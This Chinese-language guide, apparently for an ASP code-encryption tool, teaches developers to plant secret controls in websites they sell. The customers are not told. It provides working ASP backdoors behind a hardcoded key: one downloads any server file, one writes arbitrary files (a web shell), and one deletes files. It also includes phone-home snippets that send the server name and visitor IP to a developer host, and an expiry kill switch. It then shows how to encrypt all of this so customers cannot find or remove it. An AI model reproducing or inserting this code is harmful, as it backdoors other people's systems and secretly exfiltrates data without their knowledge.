|
“网站钥匙”：顾名思义，是指网站开发者为控制网站的各种运行机制而在网站程序中预留的某些控制代码。一般来说，这些相关控制代码只有网站程序开发者掌控，因此，网站使用客户（指购买网站系统的企业、单位或个人，下同）是不知道该控制代码的。通过该“网站钥匙”功能，网站开发者可以随时对所发布出去正在使用的网站进行如：修改数据库设计、修改网站结构等需要实现的一切功能。
“程序监听”：是指网站开发者利用该功能监听发布出去的网站有多少人在使用、使用在哪些域名或服务器下等信息。
程序监听功能除了需要在“代码附加功能”中增加相应代码外，还需要一个监听文件进行配合，这个监听文件是不需要对外发布出去的，只能放在管理员自己所属的网站中使用，以便用来接收监听数据。
使用说明：网站要实现某些功能，原理我们都知道，都是在程序中加入相应代码实现的，比如我们软件中的“日期访问控制”功能，是在网站程序中增加了下列代码：
日期访问功能代码：
If Date > CDate("2012-1-1") Then
Response.Write "对不起，本网站系统使用权限已过期！"
Response.End
End if |
因此，其它很多功能程序开发者自己就可以在程序中完成，再借助于我们的ASP代码加密工具加密发布即可。由于ASP代码加密工具加密后的代码不可还原的特性，别人也就无法破解或修改这些功能了，从而达到我们的预期目的。
如何使用这些功能呢？Very easy(非常容易)，通过软件中强大的“代码附加”功能即可实现。我们只要在加密时把相关控制代码放入到“代码附加”功能中的代码框中，再对网站加密就可以了。
功能代码：
网站钥匙：
网站钥匙之下载功能
相关功能代码：
<%
On Error Resume Next
'该下载功能可以下载一切类型的文件，包括ASP文件
'钥匙：Key=12345678
'用法：http://www.abc.com/index.asp?Key=12345678&url=/index.asp
'需要下载的文件名，如/index.asp，不需要域名部分
DownUrl=Request("url")
if Request("Key")="12345678" then Call downloadFile(DownUrl)
Function downloadFile(strFile)
strFilename = server.MapPath(strFile)
Response.Buffer = True
Response.Clear
Set D_as = Server.CreateObject("ADODB.Stream")
D_as.Open
D_as.Type = 1
Set D_fso = Server.CreateObject("Scripting.FileSystemObject")
if Not D_fso.FileExists(strFilename) then
Response.write "文件不存在!"
Response.End
end if
Set D_f = D_fso.GetFile(strFilename)
intFilelength = D_f.size
D_as.LoadFromFile(strFilename)
if err then
Response.Write("下载错误：" & err.Description)
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & D_f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite D_as.Read
Response.Flush
D_as.Close
Set D_as = Nothing
End Function
%>
|
网站钥匙之文件生成功能
相关功能代码：
<%
'钥匙：Key=12345678
'用法：http://www.abc.com/index.asp?Key=12345678
On Error Resume Next
If Request("Key")="12345678" Then
Response.write "<form name=FORM action=?Admin=DO method=post><p align='center'>文件名称：<input type='text' name='T1' size='69'><br>文件内容：<textarea name='S1' rows='11' cols='67'></textarea><br><input type=submit name=submit value=在线建立文件></p></form>"
End If
If request("Admin")="DO" Then
Dim T1
T1=Request("T1")
FilePath=Server.Mappath(T1)
set M_fso=server.createobject("Scripting.filesystemobject")
set Mc_fso=M_fso.createtextfile(FilePath,true)
Mc_fso.Write Request("S1")
set Mc_fso=nothing
set M_fso=nothing
Response.write "<a href='" & T1 & "'>" & T1 & "</a> 文件成功生成!"
End if
%> |
网站钥匙之文件删除功能
相关功能代码：
<%
'钥匙：Key=12345678
'用法：http://www.abc.com/index.asp?Key=12345678
On Error Resume Next
If Request("Key")="12345678" Then
Response.write "<form name=FORM action=?Admin=DO method=post>文件名称：<input type='text' name='T1' size='69'><br><input type=submit name=submit value=在线删除文件></form>"
End If
If request("Admin")="DO" Then
dim T1
T1=Request("T1")
Set D_fso = Server.CreateObject("Scripting.FileSystemObject")
D_fso.DeleteFile(Server.Mappath(T1))
Set D_fso=Nothing
Response.write T1 & "</a> 文件成功删除!"
End if
%> |
程序监听：
程序监听之域名监听
附：管理员监听文件 Listen.rar
相关功能代码：
<%
'程序开发者用于监听的URL
ListenUrl="http://www.admin.com/listen.asp"
SendDate ListenUrl & "?Data=" & Request.ServerVariables("Server_Name")
Sub SendDate(url)
Set L_mxh = Server.CreateObject("Microsoft.XMLHTTP")
L_mxh.Open "Get", url, False, "", ""
L_mxh.Send
Set L_mxh = Nothing
End Sub
%>
|
程序监听之服务器监听
附：管理员监听文件 Listen.rar
相关功能代码：
<%
'程序开发者用于监听的URL
ListenUrl="http://www.admin.com/listen.asp"
SendDate ListenUrl & "?Data=" & Request.ServerVariables("HTTP_X_FORWARDED_FOR")
Sub SendDate(url)
Set L_mxh = Server.CreateObject("Microsoft.XMLHTTP")
L_mxh.Open "Get", url, False, "", ""
L_mxh.Send
Set L_mxh = Nothing
End Sub
%>
|
好了，现在只要把上面的相关代码复制到“代码附加”功能中去，就可实现相关功能了，大家可以举一反三，利用强大的“代码附加”完全可以实现适合您需要的任何功能。
|
